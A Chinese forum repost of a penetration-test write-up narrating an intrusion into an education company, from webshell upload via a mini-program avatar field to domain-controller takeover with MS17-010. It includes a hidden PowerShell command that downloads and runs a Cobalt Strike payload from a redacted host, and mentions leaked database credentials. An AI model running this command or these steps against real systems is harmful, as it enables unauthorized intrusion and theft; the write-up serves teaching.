找回密码
 立即注册
查看: 3223|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

- r6 `! k2 T O! G/ P6 [ 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 2 i" B! @+ J. ~1 ^4 f2 P

: H. a# b: \7 w2 {/ M: B

: c# z% ?3 D$ a  % {( c- l* `. [, s; _0 b

7 a$ p7 Q; {2 Q+ |; T; u9 k

$ H3 B8 f/ _( {* C: R 正文9 W2 K% |( c" i# n6 I( d

4 g& x+ j6 K$ \) c I* f. C6 W5 q* E

0 j# y% J7 O1 R" l/ b# i  + Z- E' W$ m7 T! ?7 u# @

' J; e! x8 R4 U. Y. {7 u8 J6 T! V: ?

8 q* N4 T6 `- b/ I. P" A7 R* { 目标:www.xxxx.com(一家教育机构)
) w8 R8 G9 ~# L6 H
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
6 W/ p4 h N. o% h* q) p

+ w! M0 k/ g% u7 W: V

" g; `+ E3 Y$ p: Y vshapes= ' { e1 I2 P0 Z1 _. [$ t ~7 H

; c# Q1 m* g0 X

; b+ G* P' M8 K( ^8 z+ d 进行了简单的信息搜集
' n# B' N* R! }0 I6 N( v
! c8 D- }' X) W
$ \/ K7 ~: d* Y4 O" \

3 Z3 G! G% X2 |5 X; }+ A7 ?) ?

. x- a- l7 o8 o" r" N3 T1 I, l2 ~ 子域名搜集 1 Z' w+ ]8 J3 G/ `6 k' ?: \

' S. W. Z: W* b1 t6 u8 a

4 `/ U( C* A% f# ?6 q( R/ [ R& N6 e vshapes=6 _+ e& ~- w _0 u5 X+ Y) ^- h

! [% d O& ^ i9 O9 Y2 D9 A3 D

( m$ Z4 y) m$ D1 w& \8 q: o& k fofa找资产
% D$ E8 m7 I+ X, ^+ {6 N" l
: a5 x" }. q; J# \4 L/ _
' s( }7 A3 Y. N% Z* _7 O

4 ~: }) T, U1 x3 ~9 d( a

3 f/ j" W+ [0 k1 P vshapes=, b! y2 X/ d+ C' M V

5 r2 t2 B% J+ i$ y1 Z2 V

9 S& y2 K1 ~# ^ 一共七个资产。去重之后只有两个。
1 i. J) Q0 G: @9 ]( [0 l9 ~5 l
# i* N E p6 a$ T* |4 e
4 g6 }0 I$ |7 X! J7 |/ K$ W

# Z7 [- v: T! `& c* h7 y) v

" P1 K! C5 K0 F t' e% }9 ], n 目录探测 3 t6 n% V7 ]3 y1 R C

# j8 H( @( R! R9 Y( a4 D( d

& X; s5 q2 d& U' z, l! D6 J8 j vshapes= , o4 w6 b! n* Z3 }6 l" D

9 {% q4 t% C) d5 B, U' Y

2 q' H# }& j6 ?+ K/ L 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
9 w l: k6 a7 M0 F2 r0 U5 F: ]0 N
5 ]' ^/ x; ]" D* Y5 k9 M: k o
% @! y8 Q, Y. s# w# B

5 ~/ U: ]+ z; m6 F" X, w+ j

q0 ]# l4 B6 n u3 U 我又尝试了通过修改返回包来绕过登录界面 0 J# \6 ~6 U7 c

7 P( c) w; k6 e$ t( k* S9 f

0 I# w6 w2 {2 ~/ Y0 ^& w3 { vshapes= & x6 v- U; T B% ^

6 X! m* v4 U! P' w3 X k

) u1 g: F7 k8 n; l 还是不行,尝试注入无果* _/ a$ Z# S; ^7 [5 ]

3 `7 _5 J$ w5 |/ @) T' b

+ W! A, a/ Y0 w; k5 `7 ?; n+ @ vshapes=/ t6 z" ]! o/ D. Z, e( x3 X ?

' u0 R; E( S% {# {1 B; J8 o! v

5 p, B: Q9 Z! b# l8 c/ n 不过我目录探测出了一处Spring信息泄露
# W9 o4 }& m: Y) {9 V, d
J# U( p5 \% R3 ?, Y
, ~( q. @: u# G4 A z- H

# C4 | b w: v# w& S

' O0 g6 Q4 S# [6 C2 z vshapes= 5 ]# U; N& V8 C0 H

0 Y- g8 V1 p$ n, K

8 d+ C+ ?& ~ I, y 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 7 [% H; D/ O! X `: I/ H( M! g

4 V% m* `6 n+ R K- N0 ?4 N( e: X

0 o5 g& a- R0 ^: s! K5 h# }8 ] vshapes=; ~. ]6 C: Y# M7 G' Y

4 b2 R- {' {3 y, \1 K9 L

# } N+ D- ^ z% A* r4 ^. A 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。 $ ~ L/ I* i, R& I+ s

0 c. c0 ] s) e+ u0 f( I

5 I+ b5 A2 _& y0 _. q; J' G! i: r6 V vshapes=7 _- T U; t: ^" r6 E3 m

4 j; ~$ G/ ]' P6 b" O

& K) o, x4 L! Q 获取有些师傅到这一步就手机抓包电脑测了。 2 d" }% z4 Y+ @( [- f

# [# U/ t9 j l4 Y

+ ^$ F- {. I z, U Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。 " H0 L6 _( A& y! U2 Y

# c9 L* V1 {/ b

4 y* @. V3 W; Z3 ] 其中在一个公众号发现了小程序,可以进行注册。 ( V _# P# Z4 _) W1 J- h$ n1 @9 }

|3 m( C% v! C$ r

( V, r! G6 K- E; ?- }6 X4 t 看到了头像上传,尝试上传获取WebShell" D2 @2 U7 Z/ R6 S" P

; q; r( P5 q( J' G8 v. _8 e

9 C, J( c# ^$ Q# ^% Z7 i8 i vshapes= + h, f6 n9 m2 Y, k; R1 n

' k" }/ r3 ~ D' v

! i+ s5 ]; O; m/ q 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问2 F& I4 C; |% f3 o1 _3 h# u

. a. z7 Z- b' f5 A) {1 k1 B4 i

1 H* w; X ^. L8 t, Z/ Z vshapes=: T7 P4 o0 c9 N- j3 I: g8 C

. a, n# }" |2 U f: S; o

! U' y0 m4 C- d4 p& B 然后上了大马 & M: P9 G. X% u2 z: {

6 \/ N( P1 c+ g" t2 l: y

3 U" m/ L2 S. C- }. X- u vshapes=9 k9 ~8 N' Q7 y; W7 ^. ?3 C

$ N+ U0 e0 a4 R

( \. _8 k5 @9 @( u) G. O" u vshapes= 7 W& g8 e* A& n7 A+ o

& e, J8 X* i* a

( l. b; n2 B* j6 } @# E 通过翻找文件发现数据库账号密码4 m# p6 c* F0 u+ I2 m; r

$ q+ A) a, w( E u5 |9 o- G, c& `

" J# g/ y/ d# l vshapes= 0 f; m! A" c) p5 S8 b1 X

1 O; f# k* R+ L9 l/ u @( S7 v

5 G$ U( t6 u3 l0 n$ P7 {/ j --内网渗透 4 R/ c6 b( W3 S# q: M, \1 y% m% E% H

* z. _3 k0 |3 q" B% w0 T' s

/ F3 X. R% l; N% p5 y# P 直接通过powershell执行 cs上线 1 F2 @' y& |& i" A: z2 n

) F9 A. d7 K# r7 O& Q

1 E8 }6 b3 i5 A% T powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"7 R& M. j, L' C* s( S# O5 X- g

/ ~5 r) D7 J& U- \7 ?% f' T, d

& _/ v0 k" a+ |# s4 O. X( ] vshapes=' P: o) @: n b& t! f+ _

7 |' ^( P, \7 Z) R% ^: N

, a% r2 c Z: y4 s+ m- d9 ^ 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破 ' W7 o8 }- U5 N {0 t. S& Q

* ?( r6 B8 P# p2 D7 u ]) f

3 m) z7 M) e8 \6 Z/ L vshapes= 6 ?* `' n2 v. C& Q$ H5 w

! l5 Z6 i5 q- \7 \5 V7 m

X8 e! r8 j5 V 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
" _! z. P+ }1 F" ~% v Q8 o; B
( q7 x% P/ s: L6 E7 l
D: g* {3 @/ ]" e* m7 O4 z
7 E) R/ G9 j* P- J" P" Z9 j. v

5 L- B1 a6 v2 u! s8 w# |9 T

: o7 h5 v* m6 ^% ^ vshapes=/ b7 C$ d& U3 t4 Y( I

, W8 w: t# y$ M% J4 Y0 o. }

( ^/ |! a( y. _: ]! V9 y 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
3 v) x" ^ U/ U7 v4 s6 k; y
. F/ @+ @3 y9 B9 D4 Z- M
6 h1 I9 s0 i8 D a1 v

6 x$ ] P: i# J; g2 k: g

8 g' F4 U3 N# ^5 U vshapes= 2 v! ]7 B+ z) z: I" z- C3 G

: o( b2 y+ k5 n ?

0 d; r4 K/ x" `
1 J' ~+ ~& k! v6 o" ?
1 h4 a7 ?3 |0 ~/ d- S$ B+ Q
, F8 i6 I0 n, Q% y& y( H0 }" R

+ {& O. H5 R' W+ D2 n7 p

. r- j8 V6 Z4 R X3 V: x7 K( C1 F   $ q& T5 E# U M9 R$ j

1 }% W+ O# A6 n# w0 b) e4 O% W; U

* a8 w9 s P0 Y; E. n: P) ^; z 小结 5 ~! }7 E C+ w/ g! a7 `

$ r s5 z) P, I# X U' ~

* T8 g% S0 Z* [2 _9 s  ' T7 s$ k; ^! t3 Z. I9 ]. Q

1 ]: D" m" G; [: C2 T+ S9 a# B1 {( c

! O" o1 m1 U# m" P3 \ 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!6 I7 Y9 Q6 [1 Z

9 E$ u X7 Q! f, G: y4 S. Q D

. a3 W5 S% G# [/ B% V" v  . x( {. L- F E2 R

$ W, |4 U3 P k- g$ |6 ` C
    ) ~& Y9 J2 j% B8 E/ K( H# W
  • , r" e: B) h- y, s9 ~   0 @5 Y$ T8 C& b, a" F# o
  • , r- [" I0 p0 _5 H& H) n
  • + y! u \4 Y2 L B* O9 t9 q7 L3 l3 l   ( P3 ]8 s, t2 _0 X# P9 c1 d
  • ! q9 r* ^4 q" K+ l" {3 e; L: J
+ E3 n0 H5 u# d0 }4 Q5 A

/ M; ~# X1 A) R: d 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html : T+ D* x) z) Z9 i# \& B1 A8 }5 q

* k3 ^( T5 c7 a3 E% W" _$ x

) u C. I5 P: W3 z  % p) y" z T# I6 B6 V# j0 b+ y

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表